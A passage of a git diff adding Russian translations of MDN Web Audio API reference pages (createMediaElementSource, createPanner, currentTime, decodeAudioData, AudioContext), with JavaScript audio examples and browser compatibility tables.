+<p>Простой пример создания аудио узла из элемента {{htmlelement("audio") }} используя <code>createMediaElementSource()</code>, и управления усилением звука через {{ domxref("GainNode") }} перед подачей в {{ domxref("AudioDestinationNode") }} для воспроизведения. При движении мыши вызывается функция <code>updatePage()</code>, вычисляющая текущее усиление как отношение Y позиции курсора к общей высоте окна. Таким образом Вы можете увеличивать/уменьшать громкость звучания аудио движениями мыши вверх/вниз.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вы можете также посмотреть <a href="http://mdn.github.io/media-source-buffer/">демонстрацию</a> или <a href="https://github.com/mdn/media-source-buffer">исходники</a>.</p>
+</div>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var myAudio = document.querySelector('audio');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Создаем MediaElementAudioSourceNode
+// На основе HTMLMediaElement
+var source = audioCtx.createMediaElementSource(myAudio);
+
+// Создаем узел контроля громкости (усиления)
+var gainNode = audioCtx.createGain();
+
+// Переменные, содержащие Y координату курсора мыши
+// и высоту окна
+var CurY;
+var HEIGHT = window.innerHeight;
+
+// Обновляем Y координату курсора при движении мышью
+// и вычисляем новый коэффициент усиления
+
+document.onmousemove = updatePage;
+
+function updatePage(e) {
+    CurY = (window.Event) ? e.pageY : event.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop);
+
+    gainNode.gain.value = CurY/HEIGHT;
+}
+
+
+// Последний шаг - построение графа
+// Подсоединяем AudioBufferSourceNode к gainNode
+// а gainNode, в свою очередь, к конечному узлу вывода
+// Теперь мы можем слушать музыку управляя громкостью воспроизведения движением курсора мыши :)
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);</pre>
+
+<div class="note">
+<p><strong>Примечание</strong>: Вызов <code>createMediaElementSource()</code> перенаправит выходной поток аудиоданных из {{domxref("HTMLMediaElement")}} в обрабатывающий граф AudioContext. Управление воспроизведением медиа все ещё будет осуществляться через API медиа элемента или его панель управления.</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioContext-createMediaElementSource-MediaElementAudioSourceNode-HTMLMediaElement-mediaElement', 'createMediaElementSource()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_в_браузерах">Поддержка в браузерах</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audiocontext/createpanner/index.html b/files/ru/web/api/audiocontext/createpanner/index.html
new file mode 100644
index 0000000000..0a4d5db32b
--- /dev/null
+++ b/files/ru/web/api/audiocontext/createpanner/index.html
@@ -0,0 +1,211 @@
+---
+title: AudioContext.createPanner()
+slug: Web/API/AudioContext/createPanner
+translation_of: Web/API/BaseAudioContext/createPanner
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>Метод <code>createPanner()</code> интерфейса {{ domxref("AudioContext") }} применяется для создания нового {{domxref("PannerNode")}}, который используется для размещения аудиопотока в виртуальном 3D пространстве.</p>
+</div>
+
+<p>The panner node is spatialized in relation to the AudioContext's {{domxref("AudioListener") }} (defined by the {{domxref("AudioContext.listener") }} attribute), which represents the position and orientation of the person listening to the audio.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+var panner = audioCtx.createPanner();</pre>
+
+<h3 id="Возврат">Возврат</h3>
+
+<p>A {{domxref("PannerNode")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<div class="note_trans">
+<div>Ниже можно увидеть пример использования {{domxref("AudioListener")}}, {{domxref("PannerNode")}} и метода <code>createPanner()</code> для управления пространством объемного звука. Обычно определяется положение в трехмерном пространстве, изначально занимаемое слушателем (listener) и источником звука (panner), а затем, при использовании приложения, обновляется позиция одного из них или обоих. Например, вы можете перемещать персонажа внутри игрового мира, и желательно чтобы передача звука изменялась реалистично, по мере приближения или отдаления персонажа относительно источника звука, вроде стереопроигрывателя. В этом примере можно видеть, что все это управляется функциями <code>moveRight()</code>, <code>moveLeft()</code>, и т.п., которые устанавливают новые значения для положения паннера через функцию <code>PositionPanner()</code>.</div>
+
+<div> </div>
+
+<div>
+<div class="note_trans">
+<div>Чтобы увидеть полную реализацию ознакомьтесь с нашим <a href="https://mdn.github.io/webaudio-examples/panner-node/">примером panner-node</a> (<a href="https://mdn.github.io/webaudio-examples/">просмотрите весь список примеров</a>) — эта демонстрация перенесет вас в 2.5D "Room of metal" (2,5-мерную "металлическую комнату"), где можно проиграть трек на <a class="popupspot">бумбоксе</a> и затем походить вокруг него и посмотреть как изменяется звук!</div>
+
+<div> </div>
+</div>
+</div>
+</div>
+
+<p>Note how we have used some feature detection to either give the browser the newer property values (like {{domxref("AudioListener.forwardX")}}) for setting position, etc. if it supports those, or older methods (like {{domxref("AudioListener.setOrientation()")}}) if it still supports those but not the new properties.</p>
+
+<pre class="brush: js">// set up listener and panner position information
+// установка сведений о слушателе (listener) и положении panner'а
+var WIDTH = window.innerWidth;
+var HEIGHT = window.innerHeight;
+
+var xPos = Math.floor(WIDTH/2);
+var yPos = Math.floor(HEIGHT/2);
+var zPos = 295;
+
+// define other variables (определяем другие переменные)
+
+var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var panner = audioCtx.createPanner();
+panner.panningModel = 'HRTF';
+panner.distanceModel = 'inverse';
+panner.refDistance = 1;
+panner.maxDistance = 10000;
+panner.rolloffFactor = 1;
+panner.coneInnerAngle = 360;
+panner.coneOuterAngle = 0;
+panner.coneOuterGain = 0;
+
+if(panner.orientationX) {
+  panner.orientationX.value = 1;
+  panner.orientationY.value = 0;
+  panner.orientationZ.value = 0;
+} else {
+  panner.setOrientation(1,0,0);
+}
+
+var listener = audioCtx.listener;
+
+if(listener.forwardX) {
+  listener.forwardX.value = 0;
+  listener.forwardY.value = 0;
+  listener.forwardZ.value = -1;
+  listener.upX.value = 0;
+  listener.upY.value = 1;
+  listener.upZ.value = 0;
+} else {
+  listener.setOrientation(0,0,-1,0,1,0);
+}
+
+var source;
+
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+var boomBox = document.querySelector('.boom-box');
+
+var listenerData = document.querySelector('.listener-data');
+var pannerData = document.querySelector('.panner-data');
+
+leftBound = (-xPos) + 50;
+rightBound = xPos - 50;
+
+xIterator = WIDTH/150;
+
+// listener will always be in the same place for this demo
+// в этом демо слушатель всегда находится на одном и том же месте
+
+if(listener.positionX) {
+  listener.positionX.value = xPos;
+  listener.positionY.value = yPos;
+  listener.positionZ.value = 300;
+} else {
+  listener.setPosition(xPos,yPos,300);
+}
+
+listenerData.innerHTML = 'Listener data: X ' + xPos + ' Y ' + yPos + ' Z ' + 300;
+
+// panner will move as the boombox graphic moves around on the screen
+// паннер будет перемещаться по экрану за перемещением бумбокса
+function positionPanner() {
+  if(panner.positionX) {
+    panner.positionX.value = xPos;
+    panner.positionY.value = yPos;
+    panner.positionZ.value = zPos;
+  } else {
+    panner.setPosition(xPos,yPos,zPos);
+  }
+  pannerData.innerHTML = 'Panner data: X ' + xPos + ' Y ' + yPos + ' Z ' + zPos;
+}</pre>
+
+<div class="note">
+<p>In terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of fiddly math involved, but you will soon get used to it with a bit of experimentation.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioContext-createPanner-PannerNode', 'createPanner()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audiocontext/currenttime/index.html b/files/ru/web/api/audiocontext/currenttime/index.html
new file mode 100644
index 0000000000..51370701f4
--- /dev/null
+++ b/files/ru/web/api/audiocontext/currenttime/index.html
@@ -0,0 +1,97 @@
+---
+title: AudioContext.currentTime
+slug: Web/API/AudioContext/currentTime
+translation_of: Web/API/BaseAudioContext/currentTime
+---
+<p>{{ APIRef("AudioContext") }}</p>
+<div>
+ <p>Поле currentTime принадлежит {{ domxref("AudioContext") }} и возвращает время с момента создания AudioContext. Может использоваться при планировании воспроизведения или визуализации.  Поле currentTime является не перезаписываемым и не может быть остановлено или сброшено.</p>
+</div>
+<h2 id="Синтаксис">Синтаксис</h2>
+<pre class="brush: js">var audioCtx = new AudioContext();
+console.log(audioCtx.currentTime);</pre>
+<h3 id="Тип_данных">Тип данных</h3>
+<p>A double.</p>
+<h2 id="Примеры">Примеры</h2>
+<div class="note">
+ <p><b>Примечание</b>: для большего понимания реализации Web Audio, посмотрите наши Web Audio Demos на <a href="https://github.com/mdn/">MDN Github repo</a>, like <a href="https://github.com/mdn/panner-node">panner-node</a>. Попробуйте ввести <code>audioCtx.currentTime</code> в консоли вашего браузера.</p>
+</div>
+<pre class="brush: js;highlight[8]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+// Older webkit/blink browsers require a prefix
+
+...
+
+console.log(audioCtx.currentTime);
+</pre>
+<h2 id="Specifications">Specifications</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioContext-currentTime', 'currentTime')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+    <td>{{CompatGeckoDesktop(25.0)}} </td>
+    <td>{{CompatNo}}</td>
+    <td>15.0{{property_prefix("webkit")}}<br>
+     22 (unprefixed)</td>
+    <td>6.0{{property_prefix("webkit")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>Firefox OS</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+    <th>Chrome for Android</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
+    <td>{{CompatUnknown}}</td>
+    <td>26.0</td>
+    <td>1.2</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>33.0</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="See_also">See also</h2>
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audiocontext/decodeaudiodata/index.html b/files/ru/web/api/audiocontext/decodeaudiodata/index.html
new file mode 100644
index 0000000000..faae982eae
--- /dev/null
+++ b/files/ru/web/api/audiocontext/decodeaudiodata/index.html
@@ -0,0 +1,220 @@
+---
+title: AudioContext.decodeAudioData()
+slug: Web/API/AudioContext/decodeAudioData
+tags:
+  - API
+translation_of: Web/API/BaseAudioContext/decodeAudioData
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>The <code>decodeAudioData()</code> method of the {{ domxref("AudioContext") }} Interface is used to asynchronously decode audio file data contained in an {{domxref("ArrayBuffer")}}. In this case the <code>ArrayBuffer</code> is usually loaded from an {{domxref("XMLHttpRequest")}}'s <code>response</code> attribute after setting the <code>responseType</code> to <code>arraybuffer</code>. The decoded AudioBuffer is resampled to the AudioContext's sampling rate, then passed to a callback or promise.</p>
+</div>
+
+<p>This is the preferred method of creating an audio source for Web Audio API from an audio track.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>Older callback syntax:</p>
+
+<pre class="syntaxbox">audioCtx.decodeAudioData(audioData, function(decodedData) {
+  // use the dec​oded data here
+});</pre>
+
+<p>Newer promise-based syntax:</p>
+
+<pre class="syntaxbox">audioCtx.decodeAudioData(audioData).then(function(decodedData) {
+  // use the decoded data here
+});</pre>
+
+<h2 id="Example">Example</h2>
+
+<p>In this section we will first cover the older callback-based system and then the newer promise-based syntax.</p>
+
+<h3 id="Older_callback_syntax">Older callback syntax</h3>
+
+<p>In this example, the <code>getData()</code> function uses XHR to load an audio track, setting the <code>responseType</code> of the request to <code>arraybuffer</code> so that it returns an array buffer as its <code>response</code> that we then store in the <code>audioData</code> variable . We then pass this buffer into a <code>decodeAudioData()</code> function; the success callback takes the successfully decoded PCM data, puts it into an {{ domxref("AudioBufferSourceNode") }} created using {{ domxref("AudioContext.createBufferSource()") }}, connects the source to the {{domxref("AudioContext.destination") }} and sets it to loop.</p>
+
+<p>The buttons in the example simply run <code>getData()</code> to load the track and start it playing, and stop it playing, respectively. When the <code>stop()</code> method is called on the source, the source is cleared out.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You can <a href="http://mdn.github.io/decode-audio-data/">run the example live</a> (or <a href="https://github.com/mdn/decode-audio-data">view the source</a>.)</p>
+</div>
+
+<pre class="brush: js">// define variables
+
+var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var source;
+
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+var play = document.querySelector('.play');
+var stop = document.querySelector('.stop');
+
+// use XHR to load an audio track, and
+// decodeAudioData to decode it and stick it in a buffer.
+// Then we put the buffer into the source
+
+function getData() {
+  source = audioCtx.createBufferSource();
+  var request = new XMLHttpRequest();
+
+  request.open('GET', 'viper.ogg', true);
+
+  request.responseType = 'arraybuffer';
+
+
+  request.onload = function() {
+    var audioData = request.response;
+
+    audioCtx.decodeAudioData(audioData, function(buffer) {
+        source.buffer = buffer;
+
+        source.connect(audioCtx.destination);
+        source.loop = true;
+      },
+
+      function(e){"Error with decoding audio data" + e.err});
+
+  }
+
+  request.send();
+}
+
+// wire up buttons to stop and play audio
+
+play.onclick = function() {
+  getData();
+  source.start(0);
+  play.setAttribute('disabled', 'disabled');
+}
+
+stop.onclick = function() {
+  source.stop(0);
+  play.removeAttribute('disabled');
+}
+
+
+// dump script to pre element
+
+pre.innerHTML = myScript.innerHTML;</pre>
+
+<h3 id="New_promise-based_syntax">New promise-based syntax</h3>
+
+<pre class="brush: js">ctx.decodeAudioData(compressedBuffer).then(function(decodedData) {
+ // use the decoded data here
+});</pre>
+
+<h2 id="Parameters">Parameters</h2>
+
+<dl>
+ <dt>ArrayBuffer</dt>
+ <dd>An ArrayBuffer containing the audio data to be decoded, usually grabbed from an {{domxref("XMLHttpRequest")}}'s <code>response</code> attribute after setting the <code>responseType</code> to <code>arraybuffer</code>.</dd>
+ <dt>DecodeSuccessCallback</dt>
+ <dd>A callback function to be invoked when the decoding successfully finishes. The single argument to this callback is an AudioBuffer representing the decoded PCM audio data. Usually you'll want to put the decoded data into an {{domxref("AudioBufferSourceNode")}}, from which it can be played and manipulated how you want.</dd>
+ <dt>DecodeErrorCallback</dt>
+ <dd>An optional error callback, to be invoked if an error occurs when the audio data is being decoded.</dd>
+</dl>
+
+<h2 id="Returns">Returns</h2>
+
+<p>An {{domxref("AudioBuffer") }} representing the decoded PCM audio data.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AudioContext-decodeAudioData-Promise-AudioBuffer--ArrayBuffer-audioData-DecodeSuccessCallback-successCallback-DecodeErrorCallback-errorCallback', 'decodeAudioData()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Promise-based syntax</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(33.0)}}</td>
+  </tr>
+  <tr>
+   <td>Promise-based syntax</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/audiocontext/index.html b/files/ru/web/api/audiocontext/index.html
new file mode 100644
index 0000000000..e1837c8ec0
--- /dev/null
+++ b/files/ru/web/api/audiocontext/index.html
@@ -0,0 +1,179 @@
+---
+title: AudioContext
+slug: Web/API/AudioContext
+tags:
+  - аудио
+translation_of: Web/API/AudioContext
+---
+<p>{{APIRef()}}</p>
+
+<div>
+<p>Интерфейс AudioContext можно представить как граф, состоящий из связанных между собой узлов {{domxref("AudioNode")}}. С помощью этого интерфейса можно контролировать как создание узлов, из которых состоит AudioContext, так и контролировать обработку и декодирование звука. Необходимо создать AudioContext перед тем как делать что-либо ещё со звуком, так как всё что происходит при обработке звука, происходит внутри AudioContext.</p>
+
+<p>AudioContext может выступать как слушатель событий, и он реализует интерфейс {{domxref("EventTarget")}}.</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.currentTime")}} {{readonlyInline}}</dt>
+ <dd>Содержит число с типом double, которое содержит значение времени в секундах, полученное от часов компьютера клиента. Это значение не может быть изменено никаким образом, оно только для чтения.</dd>
+ <dt>{{domxref("AudioContext.destination")}} {{readonlyInline}}</dt>
+ <dd>Содержит ссылку на {{domxref("AudioDestinationNode")}}, представляющий собой точку назначения для всего аудио в этом контексте. Может рассматриваться как, например, аудио-воспроизводящее устройство.</dd>
+ <dt>{{domxref("AudioContext.listener")}} {{readonlyInline}}</dt>
+ <dd>Содержит ссылку на объект {{domxref("AudioListener")}}, применяется для ориентирования в 3D-пространстве.</dd>
+ <dt>{{domxref("AudioContext.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>Содержит число с типом float, представляющее собой частоту сэмплирования звука (sample rate), используемую всеми узлами в этом контексте. Это значение только для чтения и не может быть изменено.</dd>
+ <dt>{{domxref("AudioContext.mozAudioChannelType")}} {{ non-standard_inline() }} {{readonlyInline}}</dt>
+ <dd>Содержит ссылку на аудио-канал, который будет использоваться для воспроизведения звука в {{domxref("AudioContext")}} на устройствах с FireFox OS. Только для чтения.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Также реализованы методы из интерфейса </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("AudioContext.createBuffer()")}}</dt>
+ <dd>Создаёт новый пустой объект {{ domxref("AudioBuffer") }}, в который затем могут помещаться данные для воспроизведения через {{ domxref("AudioBufferSourceNode") }}.</dd>
+ <dt>{{domxref("AudioContext.createBufferSource()")}}</dt>
+ <dd>Создаёт объект {{domxref("AudioBufferSourceNode")}}, который может быть использован для воспроизведения и обработки данных звукового потока, содержащегося в объекте {{ domxref("AudioBuffer") }} . Объекты типа {{ domxref("AudioBuffer") }} создаются с помощью метода {{domxref("AudioContext.createBuffer")}} или возвращаются методом {{domxref("AudioContext.decodeAudioData")}}, когда декодирование аудио-дорожки успешно завершено.</dd>
+ <dt>{{domxref("AudioContext.createMediaElementSource()")}}</dt>
+ <dd>Создаёт объект {{domxref("MediaElementAudioSourceNode")}}, ассоциированный с {{domxref("HTMLMediaElement")}}. Может использоваться для воспроизведения или манипулирования данными звукового потока из {{HTMLElement("video")}} или {{HTMLElement("audio")}} элементов.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamSource()")}}</dt>
+ <dd>Создаёт объект {{domxref("MediaStreamAudioSourceNode")}}, ассоциированный с {{domxref("MediaStream")}}, и который представляет аудио-поток, поступающий от подключённого к клиентскому компьютеру микрофона или других источников.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamDestination()")}}</dt>
+ <dd>Создаёт объект {{domxref("MediaStreamAudioDestinationNode")}}, ассоциированный с {{domxref("MediaStream")}} и представляющий собой аудио-поток, который можно сохранить в локальный файл или передать на другой компьютер.</dd>
+ <dt>{{domxref("AudioContext.createScriptProcessor()")}}</dt>
+ <dd>Создаёт объект {{domxref("ScriptProcessorNode")}}, который может быть использован для прямой обработки звука с помощью JavaScript.</dd>
+ <dt>{{domxref("AudioContext.createAnalyser()")}}</dt>
+ <dd>Создаёт объект {{domxref("AnalyserNode")}}, который может быть использован для получения времени воспроизведения и частоты воспроизводимого звука, что, в свою очередь может быть использовано для визуализации звукового потока.</dd>
+ <dt>{{domxref("AudioContext.createBiquadFilter()")}}</dt>
+ <dd>Создаёт объект {{domxref("BiquadFilterNode")}}, который представляет собой фильтр второго порядка, конфигурируемый как фильтр верхних частот, как фильтр нижних частот, фильтр полосы пропускания и так далее.</dd>
+ <dt>{{domxref("AudioContext.createChannelMerger()")}}</dt>
+ <dd>Создаёт объект {{domxref("ChannelMergerNode")}}, который используется для слияния каналов из множества аудио-потоков в один аудио-поток.</dd>
+ <dt>{{domxref("AudioContext.createChannelSplitter()")}}</dt>
+ <dd>Создаёт объект {{domxref("ChannelSplitterNode")}}, который используется для доступа к отдельным каналам аудио-потока для их дальнейшей обработки по отдельности.</dd>
+ <dt>{{domxref("AudioContext.createConvolver()")}}</dt>
+ <dd>Создаёт объект {{domxref("ConvolverNode")}}, который может быть использован для применения эффекта свёртки (convolution effect) к аудио-графу. Например, для создания эффекта реверберации.</dd>
+ <dt>{{domxref("AudioContext.createDelay()")}}</dt>
+ <dd>Создаёт объект {{domxref("DelayNode")}}, который может быть использован для задержки входящего аудио-сигнала на определённое время. Этот узел также удобен для создания петель обратной связи (feedback loops) в Web Audio графе.</dd>
+ <dt>{{domxref("AudioContext.createDynamicsCompressor()")}}</dt>
+ <dd>Создаёт объект {{domxref("DynamicsCompressorNode")}}, который может быть использован для акустической компрессии аудио-сигнала.</dd>
+ <dt>{{domxref("AudioContext.decodeAudioData()")}}</dt>
+ <dd>Асинхронно декодирует данные из аудио-файла, находящиеся в {{domxref("ArrayBuffer")}}. В этом случае ArrayBuffer заполняется при ответе на запрос {{domxref("XMLHttpRequest")}}. <code>и установке</code> атрибута <code>responseType</code> в <code>arraybuffer</code>. Этот метод работает только с полными аудио-файлами и не работает с их фрагментами. </dd>
+ <dt>{{domxref("AudioContext.createGain()")}}</dt>
+ <dd>Создаёт объект {{domxref("GainNode")}}, который может быть использован для контроля общей громкости во всём аудио-графе.</dd>
+ <dt>{{domxref("AudioContext.createOscillator()")}}</dt>
+ <dd>Создаёт объект {{domxref("OscillatorNode")}}, источник, представляющий собой периодическую волну звукового сигнала.</dd>
+ <dt>{{domxref("AudioContext.createPanner()")}}</dt>
+ <dd>Создаёт объект {{domxref("PannerNode")}}, который используется для пространственного определения аудио-потока в трехмерном пространстве.</dd>
+ <dt>{{domxref("AudioContext.createPeriodicWave()")}}</dt>
+ <dd>Создаёт объект {{domxref("PeriodicWave")}}, используемый для определения периодической волны звукового сигнала, которая, в свою очередь, используется для определения вывода в {{ domxref("OscillatorNode") }}.</dd>
+ <dt>{{domxref("AudioContext.createWaveShaper()")}}</dt>
+ <dd>Создаёт объект {{domxref("WaveShaperNode")}}, который может быть использован для создания эффектов нелинейных звуковых искажений.</dd>
+ <dt>{{domxref("AudioContext.createAudioWorker()")}}</dt>
+ <dd>Создаёт объект {{domxref("AudioWorkerNode")}}, который может взаимодействовать с потоком web worker для непосредственных генерации, обработки или анализа аудио данных. Этот метод был добавлен в спецификацию 29 августа 2014 года и не в каждом браузере пока поддерживается.</dd>
+</dl>
+
+<h2 id="Устаревшие_методы">Устаревшие методы</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.createJavaScriptNode()")}}</dt>
